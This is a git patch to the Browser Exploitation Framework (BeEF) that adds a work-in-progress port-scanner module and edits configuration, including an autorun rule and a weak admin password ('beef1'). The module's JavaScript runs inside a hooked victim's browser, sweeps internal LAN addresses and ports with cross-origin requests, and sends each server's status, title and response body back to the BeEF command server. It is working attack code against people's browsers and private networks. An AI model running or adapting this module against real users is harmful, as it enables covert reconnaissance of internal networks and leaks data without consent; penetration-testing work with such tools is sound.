From f28bc603ad383ea9d1f396d79773a9f511b83c71 Mon Sep 17 00:00:00 2001 From: aaron Date: Wed, 1 Apr 2020 14:06:55 +1000 Subject: [PATCH] Starting promise based port scanner --- .bundle/config | 4 +- .gitignore | 2 +- arerules/lan_port_scan.json | 4 +- config.yaml | 2 +- modules/network/sw_port_scanner/command.js | 122 ++++++++++++++++++++ modules/network/sw_port_scanner/config.yaml | 33 ++++++ modules/network/sw_port_scanner/module.rb | 43 +++++++ 7 files changed, 204 insertions(+), 6 deletions(-) create mode 100644 modules/network/sw_port_scanner/command.js create mode 100644 modules/network/sw_port_scanner/config.yaml create mode 100644 modules/network/sw_port_scanner/module.rb diff --git a/.bundle/config b/.bundle/config index e7db70bb4..e540b5346 100644 --- a/.bundle/config +++ b/.bundle/config @@ -1,3 +1,3 @@ --- -BUNDLE_WITHOUT: "development" -BUNDLE_WITH: "test:tests" +BUNDLE_WITHOUT: "test:development" +BUNDLE_WITH: "tests" diff --git a/.gitignore b/.gitignore index 1e0f0ef1e..8cfdbfb00 100644 --- a/.gitignore +++ b/.gitignore @@ -122,4 +122,4 @@ out/ doc/rdoc/ # User-specific files - +config.yaml diff --git a/arerules/lan_port_scan.json b/arerules/lan_port_scan.json index 7506e0cec..ac4f0e782 100644 --- a/arerules/lan_port_scan.json +++ b/arerules/lan_port_scan.json @@ -12,10 +12,10 @@ }, {"name": "port_scanner", "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", + "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;", "options": { "ipHost":"<>", - "port":"80,8080" + #"port":"80,8080" } } ], diff --git a/config.yaml b/config.yaml index ce6449269..ea203d275 100644 --- a/config.yaml +++ b/config.yaml @@ -18,7 +18,7 @@ beef: # Used by both the RESTful API and the Admin interface credentials: user: "beef" - passwd: "beef" + passwd: "beef1" # Interface / IP restrictions restrictions: diff --git a/modules/network/sw_port_scanner/command.js b/modules/network/sw_port_scanner/command.js new file mode 100644 index 000000000..2d4e2c7d3 --- /dev/null +++ b/modules/network/sw_port_scanner/command.js @@ -0,0 +1,122 @@ +// +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + var ips = new Array(); + var ipRange = "<%= @ipRange %>"; + var ports = "<%= @ports %>"; + var threads = parseInt("<%= @threads %>", 10); + var timeout = parseInt("<%= @timeout %>", 10)*1000; + var wait = parseInt("<%= @wait %>", 10)*1000; + + if(!beef.browser.hasCors()) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error()); + return; + } + + // set target ports + if (ports != null) { + ports = ports.split(','); + } + + // set target IP addresses + if (ipRange == 'common') { + // use default IPs + ips = [ + '192.168.0.1', + '192.168.0.100', + '192.168.0.254', + '192.168.1.1', + '192.168.1.100', + '192.168.1.254', + '10.0.0.1', + '10.1.1.1', + '192.168.2.1', + '192.168.2.254', + '192.168.100.1', + '192.168.100.254', + '192.168.123.1', + '192.168.123.254', + '192.168.10.1', + '192.168.10.254' + ]; + } else { + // set target IP range + var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); + if (range == null || range[1] == null) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error()); + return; + } + // ipRange will be in the form of 192.168.0.1-192.168.0.254 + // the fourth octet will be iterated. + // (only C class IP ranges are supported atm) + ipBounds = ipRange.split('-'); + lowerBound = ipBounds[0].split('.')[3]; + upperBound = ipBounds[1].split('.')[3]; + for (var i = lowerBound; i <= upperBound; i++){ + ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i; + ips.push(ipToTest); + } + } + + WorkerQueue = function(frequency) { + + var stack = []; + var timer = null; + var frequency = frequency; + var start_scan = (new Date).getTime(); + + this.process = function() { + var item = stack.shift(); + eval(item); + if (stack.length === 0) { + clearInterval(timer); + timer = null; + var interval = (new Date).getTime() - start_scan; + beef.debug("[Cross-Origin Scanner (CORS)] Worker queue is complete ["+interval+" ms]"); + return; + } + } + + this.queue = function(item) { + stack.push(item); + if (timer === null) { + timer = setInterval(this.process, frequency); + } + } + + } + + beef.debug("[Cross-Origin Scanner (CORS)] Starting scan ("+(ips.length*ports.length)+" URLs / "+threads+" workers)"); + + // create worker queue + var workers = new Array(); + for (w=0; w < threads; w++) { + workers.push(new WorkerQueue(wait)); + } + + // send CORS request to each IP + for (var i=0; i < ips.length; i++) { + var worker = workers[i % threads]; + for (var p=0; p < ports.length; p++) { + if (ports[p] == '443') var proto = 'https'; else var proto = 'http'; + var url = proto + '://' + ips[i] + ':' + ports[p]; + worker.queue('beef.debug("[Cross-Origin Scanner (CORS)] Fetching URL: '+url+'");' + + 'beef.net.cors.request(' + + '"GET", "'+url+'", "", '+timeout+', function(response) {' + + 'if (response != null && response["status"] != 0) {' + + 'beef.debug("[Cross-Origin Scanner (CORS)] Received response from '+url+': " + JSON.stringify(response));' + + 'var title = response["body"].match("(.*?)<\\/title>"); if (title != null) title = title[1];' + + 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto='+proto+'&ip='+ips[i]+'&port='+ports[p]+'&status="+response["status"]+"&title="+title+"&response="+JSON.stringify(response), beef.are.status_success());' + + '}' + + '});' + ); + } + } + +}); + diff --git a/modules/network/sw_port_scanner/config.yaml b/modules/network/sw_port_scanner/config.yaml new file mode 100644 index 000000000..188a406be --- /dev/null +++ b/modules/network/sw_port_scanner/config.yaml @@ -0,0 +1,33 @@ +# +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + cross_origin_scanner_cors: + enable: true + category: "Network" + name: "Cross-Origin Scanner (CORS)" + description: "Scan an IP range for web servers which allow cross-origin requests using CORS. The HTTP response is returned to BeEF.<br/><br/>Note: set the IP address range to 'common' to scan a list of common LAN addresses." + authors: ["bcoles"] + # http://caniuse.com/cors + target: + working: ["ALL"] + not_working: + # CORS is partially supported on IE 8 & 9 + IE: + min_ver: 6 + max_ver: 7 + O: + min_ver: 1 + max_ver: 11 + C: + min_ver: 1 + max_ver: 3 + S: + min_ver: 1 + max_ver: 3 + F: + min_ver: 1 + max_ver: 3 diff --git a/modules/network/sw_port_scanner/module.rb b/modules/network/sw_port_scanner/module.rb new file mode 100644 index 000000000..12e1533e6 --- /dev/null +++ b/modules/network/sw_port_scanner/module.rb @@ -0,0 +1,43 @@ +# +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Cross_origin_scanner_cors < BeEF::Core::Command + + def post_execute + content = {} + content['result'] = @datastore['result'] + save content + + configuration = BeEF::Core::Configuration.instance + if configuration.get("beef.extension.network.enable") == true + + session_id = @datastore['beefhook'] + + # log the network service + if @datastore['results'] =~ /^proto=(https?)&ip=(.+)&port=([\d]+)&status/ + proto = $1 + ip = $2 + port = $3 + type = 'HTTP Server (CORS)' + if BeEF::Filters.is_valid_ip?(ip) + print_debug("Hooked browser found HTTP server #{ip}:#{port}") + BeEF::Core::Models::NetworkService.create(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type) + end + end + end + + end + + def self.options + return [ + {'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class)', 'value' => '192.168.0.1-192.168.0.254'}, + {'name' => 'ports', 'ui_label' => 'Ports', 'value' => '80,8080'}, + {'name' => 'threads', 'ui_label' => 'Workers', 'value' => '2'}, + {'name' => 'wait', 'ui_label' => 'Wait (s) between each request for each worker', 'value' => '2'}, + {'name' => 'timeout', 'ui_label' => 'Timeout for each request (s)', 'value' => '10'} + ] + end + +end